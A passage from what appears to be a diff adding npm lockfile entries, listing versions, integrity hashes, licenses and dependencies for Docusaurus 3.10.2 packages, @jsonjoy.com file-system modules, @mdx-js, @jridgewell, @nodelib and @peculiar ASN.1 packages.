"sha512-PODkwg5XetLML3hU/3xpCKJUZ9cqExLaBnD/Fzzwj2VHogLeqnDisLIujae87zuze7T4mCm2A6KEqZkyiz07EQ==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "fs-extra": "^11.1.1", + "sitemap": "^7.1.1", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-svgr": { + "version": "3.10.2", + "integrity": "sha512-JgfT3jWM0TJ8Uw0cEcqxHpybngQY1vlBYpuuNO+gEh5iPh5Ar+vxq/u9CFrYsWeXy48BN7Db76Pzp2edNXUQ8A==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "@svgr/core": "8.1.0", + "@svgr/webpack": "^8.1.0", + "tslib": "^2.6.0", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/preset-classic": { + "version": "3.10.2", + "integrity": "sha512-a4B3VczmDl99zK0EufDQYomdJ186WDingjmDXxhN2PNPS9Ty/Y2M5CLFX1KQMRKqRTLiRDKfutzG5IY1FC/ceg==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/plugin-content-blog": "3.10.2", + "@docusaurus/plugin-content-docs": "3.10.2", + "@docusaurus/plugin-content-pages": "3.10.2", + "@docusaurus/plugin-css-cascade-layers": "3.10.2", + "@docusaurus/plugin-debug": "3.10.2", + "@docusaurus/plugin-google-analytics": "3.10.2", + "@docusaurus/plugin-google-gtag": "3.10.2", + "@docusaurus/plugin-google-tag-manager": "3.10.2", + "@docusaurus/plugin-sitemap": "3.10.2", + "@docusaurus/plugin-svgr": "3.10.2", + "@docusaurus/theme-classic": "3.10.2", + "@docusaurus/theme-common": "3.10.2", + "@docusaurus/theme-search-algolia": "3.10.2", + "@docusaurus/types": "3.10.2" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/theme-classic": { + "version": "3.10.2", + "integrity": "sha512-JqTSLQmqmA9uKWZsD5iwBGJ4JyKB4/yTw6PsSXVPRJG/6GAm/u+add9Iip+hvwP12/AnPNztrdxsI14NJW4KeA==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/module-type-aliases": "3.10.2", + "@docusaurus/plugin-content-blog": "3.10.2", + "@docusaurus/plugin-content-docs": "3.10.2", + "@docusaurus/plugin-content-pages": "3.10.2", + "@docusaurus/theme-common": "3.10.2", + "@docusaurus/theme-translations": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "@mdx-js/react": "^3.0.0", + "clsx": "^2.0.0", + "copy-text-to-clipboard": "^3.2.0", + "infima": "0.2.0-alpha.45", + "lodash": "^4.17.21", + "nprogress": "^0.2.0", + "postcss": "^8.5.4", + "prism-react-renderer": "^2.3.0", + "prismjs": "^1.29.0", + "react-router-dom": "^5.3.4", + "rtlcss": "^4.1.0", + "tslib": "^2.6.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/theme-common": { + "version": "3.10.2", + "integrity": "sha512-R9b/vMpK1yye6hNZTA6x/ivRv+at6GhxnXcxkpzCGzO1R1RwiquqiFg2wMFh6aqlJTpWRFKpFD2TzCDQcyOU0A==", + "license": "MIT", + "dependencies": { + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/module-type-aliases": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "clsx": "^2.0.0", + "parse-numeric-range": "^1.3.0", + "prism-react-renderer": "^2.3.0", + "tslib": "^2.6.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "@docusaurus/plugin-content-docs": "*", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/theme-search-algolia": { + "version": "3.10.2", + "integrity": "sha512-1msxllyhi/5m77JukXtp5UFnUAriwZIC1oJ7MTnpQpCwLTbclJi5BK5n28CTZuSXpQN2ewbbnqRgAhMM6c6ihg==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-core": "^1.19.2", + "@docsearch/react": "^3.9.0 || ^4.3.2", + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/plugin-content-docs": "3.10.2", + "@docusaurus/theme-common": "3.10.2", + "@docusaurus/theme-translations": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "algoliasearch": "^5.37.0", + "algoliasearch-helper": "^3.26.0", + "clsx": "^2.0.0", + "eta": "^2.2.0", + "fs-extra": "^11.1.1", + "lodash": "^4.17.21", + "tslib": "^2.6.0", + "utility-types": "^3.10.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/theme-translations": { + "version": "3.10.2", + "integrity": "sha512-iv20wrxnyXkY89LM3TzRlzGlt5fIGO5UnaR6UL1ZVfB9RRFjxQFQ6awDrwAc6Km8Y5gD8pInuwYPF+6/TiCxXA==", + "license": "MIT", + "dependencies": { + "fs-extra": "^11.1.1", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/types": { + "version": "3.10.2", + "integrity": "sha512-B6rvfwIFSapUqUJjMriZswX13K8l5Z7AcmVE6uTEJpYddQieSTR12DsGaFtcZAIDsQd4p+0WTl0Vc6jmZK0Trw==", + "license": "MIT", + "dependencies": { + "@mdx-js/mdx": "^3.0.0", + "@types/history": "^4.7.11", + "@types/mdast": "^4.0.2", + "@types/react": "*", + "commander": "^5.1.0", + "joi": "^17.9.2", + "react-helmet-async": "npm:@slorber/react-helmet-async@1.3.0", + "utility-types": "^3.10.0", + "webpack": "^5.95.0", + "webpack-merge": "^5.9.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/types/node_modules/webpack-merge": { + "version": "5.10.0", + "integrity": "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA==", + "license": "MIT", + "dependencies": { + "clone-deep": "^4.0.1", + "flat": "^5.0.2", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@docusaurus/utils": { + "version": "3.10.2", + "integrity": "sha512-xx0W3eav2uW1NRIpuHJWNwLTC15xPNjU4Uxi9NSnd3swYC96BE3vFiT93SD8s24kmAAWNwgZwfZ2fghGZ01Lcw==", + "license": "MIT", + "dependencies": { + "@11ty/gray-matter": "^1.0.0", + "@docusaurus/logger": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "escape-string-regexp": "^4.0.0", + "execa": "^5.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^11.1.1", + "github-slugger": "^1.5.0", + "globby": "^11.1.0", + "jiti": "^1.20.0", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "micromatch": "^4.0.5", + "p-queue": "^6.6.2", + "prompts": "^2.4.2", + "resolve-pathname": "^3.0.0", + "tslib": "^2.6.0", + "url-loader": "^4.1.1", + "utility-types": "^3.10.0", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/utils-common": { + "version": "3.10.2", + "integrity": "sha512-x3Dz6jv6iQKBNjBmVTu8p57abMp/VNTUgKBMgRVXJc5444orBTsArv0+cdfrXTiz/VMmHfDRVkPbL7GH2B7T7w==", + "license": "MIT", + "dependencies": { + "@docusaurus/types": "3.10.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/utils-validation": { + "version": "3.10.2", + "integrity": "sha512-sn8unbDfUL585NtR3cwHefPicOyaHvPaX7VD0aOg/siIxUBoKyKKaGEqzJZDS64mM43TnxurkYDtmB1wsJlZsw==", + "license": "MIT", + "dependencies": { + "@docusaurus/logger": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "fs-extra": "^11.2.0", + "joi": "^17.9.2", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@jest/schemas": { + "version": "29.6.3", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.27.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/types": { + "version": "29.6.3", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", + "license": "MIT", + "dependencies": { + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.11", + "integrity": "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==", + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@jsonjoy.com/base64": { + "version": "1.1.2", + "integrity": "sha512-q6XAnWQDIMA3+FTiOYajoYqySkO+JSat0ytXGSuRdq9uXE7o92gzuQwQM14xaCRlBLGq3v5miDGC4vkVTn54xA==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/buffers": { + "version": "17.67.0", + "integrity": "sha512-tfExRpYxBvi32vPs9ZHaTjSP4fHAfzSmcahOfNxtvGHcyJel+aibkPlGeBB+7AoC6hL7lXIE++8okecBxx7lcw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/codegen": { + "version": "1.0.0", + "integrity": "sha512-E8Oy+08cmCf0EK/NMxpaJZmOxPqM+6iSe2S4nlSBrPZOORoDJILxtbSUEDKQyTamm/BVAhIGllOBNU79/dwf0g==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-core": { + "version": "4.64.0", + "integrity": "sha512-zs2TAq7Six5jgMuoMNjpspAvOP3mhtgq/k1UyQodEzCtQi/N83y2/y+zcvnZSGp/Rxq96DBN+bValOBQAyn/ew==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "@jsonjoy.com/fs-node-utils": "4.64.0", + "thingies": "^2.5.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-fsa": { + "version": "4.64.0", + "integrity": "sha512-nMWOVbkLFyEgmXZih3wyvxA9XpgyyqyfrINMHvEFqhi7uqfRl7c9ERJt6yX7vgMPrB9Uo+OJO+Spa0cFzPD01w==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-core": "4.64.0", + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "@jsonjoy.com/fs-node-utils": "4.64.0", + "thingies": "^2.5.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-node": { + "version": "4.64.0", + "integrity": "sha512-dO+NNkODbUli4uV42bcNrrLvq5rE7SNpdZ5TNd0dtbLsAaNK3MDiIC9lUi+brboGoIjW6vd2fB1qao60nrk5xA==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-core": "4.64.0", + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "@jsonjoy.com/fs-node-utils": "4.64.0", + "@jsonjoy.com/fs-print": "4.64.0", + "@jsonjoy.com/fs-snapshot": "4.64.0", + "glob-to-regex.js": "^1.0.0", + "thingies": "^2.5.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-node-builtins": { + "version": "4.64.0", + "integrity": "sha512-/o7WRFhUWaM/fOrslwLZGnzn4RmRILykn+lAL+mNObqqRNw+CQSiij6hpCeZ+C7buhdoVo7go/OYqzaSUfDYmA==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-node-to-fsa": { + "version": "4.64.0", + "integrity": "sha512-WDD9WVs0hb7UAEKTgZW2f66WDrbj7gIIWwpP3spbLyXa0rghtUaFTB8L4gdR3ZCWwiKIsj38/CNijpVmpnuPUw==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-fsa": "4.64.0", + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "@jsonjoy.com/fs-node-utils": "4.64.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-node-utils": { + "version": "4.64.0", + "integrity": "sha512-k5Indsx9hWW9xSF7Y6oSKKwtCUNhzZxadub3owhIlitc+iMRVlPPdX2duTKQWBL3qNWpXya8jykgaaWpheeS4w==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-node-builtins": "4.64.0", + "glob-to-regex.js": "^1.0.1" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-print": { + "version": "4.64.0", + "integrity": "sha512-PHZFccchvkhWrwPWHjmVAhbC3vSHCtyZvlZfJJ3ho2bnzl450hXri6/8e6pbkWdH+SkmLXNml0sV8e5HDAfxKw==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/fs-node-utils": "4.64.0", + "tree-dump": "^1.1.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot": { + "version": "4.64.0", + "integrity": "sha512-oM7UDeL83q6NBzzsfKAsYKXKVXlykKFqqOLh4xZZKAzzROTlInkPbc6LTDGThEOnPiFiUzA7tYziHG9xavd76Q==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/buffers": "^17.65.0", + "@jsonjoy.com/fs-node-utils": "4.64.0", + "@jsonjoy.com/json-pack": "^17.65.0", + "@jsonjoy.com/util": "^17.65.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot/node_modules/@jsonjoy.com/base64": { + "version": "17.67.0", + "integrity": "sha512-5SEsJGsm15aP8TQGkDfJvz9axgPwAEm98S5DxOuYe8e1EbfajcDmgeXXzccEjh+mLnjqEKrkBdjHWS5vFNwDdw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot/node_modules/@jsonjoy.com/codegen": { + "version": "17.67.0", + "integrity": "sha512-idnkUplROpdBOV0HMcwhsCUS5TRUi9poagdGs70A6S4ux9+/aPuKbh8+UYRTLYQHtXvAdNfQWXDqZEx5k4Dj2Q==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot/node_modules/@jsonjoy.com/json-pack": { + "version": "17.67.0", + "integrity": "sha512-t0ejURcGaZsn1ClbJ/3kFqSOjlryd92eQY465IYrezsXmPcfHPE/av4twRSxf6WE+TkZgLY+71vCZbiIiFKA/w==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/base64": "17.67.0", + "@jsonjoy.com/buffers": "17.67.0", + "@jsonjoy.com/codegen": "17.67.0", + "@jsonjoy.com/json-pointer": "17.67.0", + "@jsonjoy.com/util": "17.67.0", + "hyperdyperid": "^1.2.0", + "thingies": "^2.5.0", + "tree-dump": "^1.1.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot/node_modules/@jsonjoy.com/json-pointer": { + "version": "17.67.0", + "integrity": "sha512-+iqOFInH+QZGmSuaybBUNdh7yvNrXvqR+h3wjXm0N/3JK1EyyFAeGJvqnmQL61d1ARLlk/wJdFKSL+LHJ1eaUA==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/util": "17.67.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/fs-snapshot/node_modules/@jsonjoy.com/util": { + "version": "17.67.0", + "integrity": "sha512-6+8xBaz1rLSohlGh68D1pdw3AwDi9xydm8QNlAFkvnavCJYSze+pxoW2VKP8p308jtlMRLs5NTHfPlZLd4w7ew==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/buffers": "17.67.0", + "@jsonjoy.com/codegen": "17.67.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/json-pack": { + "version": "1.21.0", + "integrity": "sha512-+AKG+R2cfZMShzrF2uQw34v3zbeDYUqnQ+jg7ORic3BGtfw9p/+N6RJbq/kkV8JmYZaINknaEQ2m0/f693ZPpg==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/base64": "^1.1.2", + "@jsonjoy.com/buffers": "^1.2.0", + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/json-pointer": "^1.0.2", + "@jsonjoy.com/util": "^1.9.0", + "hyperdyperid": "^1.2.0", + "thingies": "^2.5.0", + "tree-dump": "^1.1.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/json-pack/node_modules/@jsonjoy.com/buffers": { + "version": "1.2.1", + "integrity": "sha512-12cdlDwX4RUM3QxmUbVJWqZ/mrK6dFQH4Zxq6+r1YXKXYBNgZXndx2qbCJwh3+WWkCSn67IjnlG3XYTvmvYtgA==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/json-pointer": { + "version": "1.0.2", + "integrity": "sha512-Fsn6wM2zlDzY1U+v4Nc8bo3bVqgfNTGcn6dMgs6FjrEnt4ZCe60o6ByKRjOGlI2gow0aE/Q41QOigdTqkyK5fg==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/codegen": "^1.0.0", + "@jsonjoy.com/util": "^1.9.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/util": { + "version": "1.9.0", + "integrity": "sha512-pLuQo+VPRnN8hfPqUTLTHk126wuYdXVxE6aDmjSeV4NCAgyxWbiOIeNJVtID3h1Vzpoi9m4jXezf73I6LgabgQ==", + "license": "Apache-2.0", + "dependencies": { + "@jsonjoy.com/buffers": "^1.0.0", + "@jsonjoy.com/codegen": "^1.0.0" + }, + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@jsonjoy.com/util/node_modules/@jsonjoy.com/buffers": { + "version": "1.2.1", + "integrity": "sha512-12cdlDwX4RUM3QxmUbVJWqZ/mrK6dFQH4Zxq6+r1YXKXYBNgZXndx2qbCJwh3+WWkCSn67IjnlG3XYTvmvYtgA==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.5", + "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==", + "license": "MIT" + }, + "node_modules/@mdx-js/mdx": { + "version": "3.1.1", + "integrity": "sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdx": "^2.0.0", + "acorn": "^8.0.0", + "collapse-white-space": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "estree-util-scope": "^1.0.0", + "estree-walker": "^3.0.0", + "hast-util-to-jsx-runtime": "^2.0.0", + "markdown-extensions": "^2.0.0", + "recma-build-jsx": "^1.0.0", + "recma-jsx": "^1.0.0", + "recma-stringify": "^1.0.0", + "rehype-recma": "^1.0.0", + "remark-mdx": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-rehype": "^11.0.0", + "source-map": "^0.7.0", + "unified": "^11.0.0", + "unist-util-position-from-estree": "^2.0.0", + "unist-util-stringify-position": "^4.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/react": { + "version": "3.1.1", + "integrity": "sha512-f++rKLQgUVYDAtECQ6fn/is15GkEH9+nZPM3MS0RcxVqoTfawHvDlSCH7JbMhAM6uJ32v3eXLvLmLvjGu7PTQw==", + "license": "MIT", + "dependencies": { + "@types/mdx": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "@types/react": ">=16", + "react": ">=16" + } + }, + "node_modules/@noble/hashes": { + "version": "1.4.0", + "integrity": "sha512-V1JJ1WTRUqHHrOSh597hURcMqVKVGL/ea3kv0gSnEdsEZ0/+VyPghM1lMNGc00z7CIQorSvbKpuJkxvuHbvdbg==", + "license": "MIT", + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@peculiar/asn1-cms": { + "version": "2.8.0", + "integrity": "sha512-NgekZOrSJFSBFLFoLfwePguAWAx7z1+f2TEsWFUMyiqqfntZ4+S/S5hzqME3q4pCA0iOsFKdwiQ35dwY24eVqA==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "@peculiar/asn1-x509-attr": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-csr": { + "version": "2.8.0", + "integrity": "sha512-akbF8+uvleHs8sejNPQxwmVFuInAg6FMNHOwMILXfP518YfFJwdR3jr6oNUPOaEJfuEhn/vkNOCIT6ASUd4mbg==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-ecc": { + "version": 